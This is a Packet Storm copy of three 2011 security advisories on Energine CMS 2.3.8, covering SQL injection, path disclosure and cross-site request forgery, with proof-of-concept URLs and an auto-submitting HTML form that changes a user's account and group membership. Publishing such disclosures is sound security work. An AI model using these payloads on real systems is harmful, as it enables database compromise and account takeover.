Energine 2.3.8 Cross Site Request Forgery / Path Disclosure / SQL Injection

2011-01-11T00:00:00
ID PACKETSTORM:97459
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2011-01-11T00:00:00

Description

                                        
                                            `====================================  
Vulnerability ID: HTB22783  
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_energine.html  
Product: Energine  
Vendor: Energine ( http://www.memht.com/ )   
Vulnerable Version: 2.3.8 and probably prior versions  
Vendor Notification: 28 December 2010   
Vulnerability Type: SQL Injection  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "core/modules/shop/components/ProductList.class.php" script to properly sanitize user-supplied input in "product" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/shop/search-results/?product=%22+ANY_SQL  
  
====================================  
Vulnerability ID: HTB22784  
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_energine.html  
Product: Energine  
Vendor: Energine ( http://www.energine.org/ )   
Vulnerable Version: 2.3.8 and probably prior versions  
Vendor Notification: 28 December 2010   
Vulnerability Type: Path disclosure  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "core/modules/shop/components/Order.class.php", "core/modules/shop/components/ParamValuesEditor.class.php" scripts, it's possible to generate an error that will reveal the full path of the script.  
A remote user can determine the full path to the web root directory and other potentially sensitive information.  
The following PoC is available:  
http://host/core/modules/shop/components/Order.class.php  
http://host/core/modules/shop/components/ParamValuesEditor.class.php  
  
====================================  
Vulnerability ID: HTB22782  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_energine.html  
Product: Energine  
Vendor: Energine ( http://www.energine.org/ )   
Vulnerable Version: 2.3.8 and probably prior versions  
Vendor Notification: 28 December 2010   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "core/modules/user/components/UserEditor.class.php" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/en/single/pageToolBar/user/save" method="post" name="main">  
<input type="hidden" name="componentAction" value="edit">  
<input type="hidden" name="user_users[u_id]" value="USERID">  
<input type="hidden" name="user_users[u_name]" value="email@example.com">  
<input type="hidden" name="user_users[u_password]" value="">  
<input type="hidden" name="user_users[u_fullname]" value="Test">  
<input type="hidden" name="user_users[u_avatar_prfile]" value="">  
<input type="hidden" name="group_id[]" value="1">  
<input type="hidden" name="group_id[]" value="4">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`